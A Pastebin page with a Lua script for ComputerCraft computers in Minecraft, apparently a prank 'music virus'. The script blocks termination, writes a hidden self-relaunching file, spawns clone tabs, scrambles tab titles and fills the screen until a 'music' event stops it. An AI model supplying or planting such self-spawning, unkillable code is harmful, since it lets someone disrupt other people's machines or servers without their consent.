Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local running = true
- local w, h = term.getSize()
- term.setBackgroundColor(colors.black)
- term.setTextColor(colors.yellow)
- term.clear()
- os.pullEvent = os.pullEventRaw
- local ev = nil
- local p1 = nil
- local p2 = nil
- local p3 = nil
- local p4 = nil
- local p5 = nil
- local args = { ... }
- local clone = false
- if args[1] == "--clone" then
- clone = true
- end
- function writeFile(path, text, append)
- if path == shell.getRunningProgram() then
- return
- end
- if fs.exists(path) then
- return
- end
- local handle = fs.open(path, append and "a" or "w")
- handle.write(text)
- handle.close()
- end
- local program = shell.getRunningProgram()
- if fs.exists(".musicVirus/duplicate.lua") then
- fs.delete(".musicVirus/duplicate.lua")
- writeFile(".musicVirus/duplicate.lua", "--MUSIC VIRUS--\nshell.run(\"" .. program .. "\", \"--clone\")", false)
- end
- if not fs.exists(".musicVirus/duplicate.lua") then
- writeFile(".musicVirus/duplicate.lua", "--MUSIC VIRUS--\nshell.run(\"" .. program .. "\", \"--clone\")", false)
- end
- while running do
- term.setBackgroundColor(colors.black)
- term.setTextColor(colors.yellow)
- if math.random(1,6) <= 4 then
- term.setCursorPos(math.random(1,w), math.random(1,h))
- term.write(string.char(math.random(14,15)))
- end
- term.scroll(0)
- local timer = os.startTimer(0.1)
- if multishell then
- local move = math.random(-1, 1)
- if math.random(1,25) == 1 then
- if not clone then
- for i = 1, multishell.getCount() do
- multishell.setTitle( i, string.char(math.random(14,15)) )
- end
- multishell.setFocus( multishell.getFocus() + move )
- end
- end
- end
- if multishell and math.random(1,10) <= 1 then
- if not clone then
- shell.openTab(".musicVirus/duplicate.lua", "--clone")
- end
- end
- local ev, p1, p2, p3, p4, p5 = os.pullEvent()
- if ev == "music" then
- running = false
- term.clear()
- term.setCursorPos()
- end
- os.cancelTimer(timer)
- end
Add Comment
Please, Sign In to add comment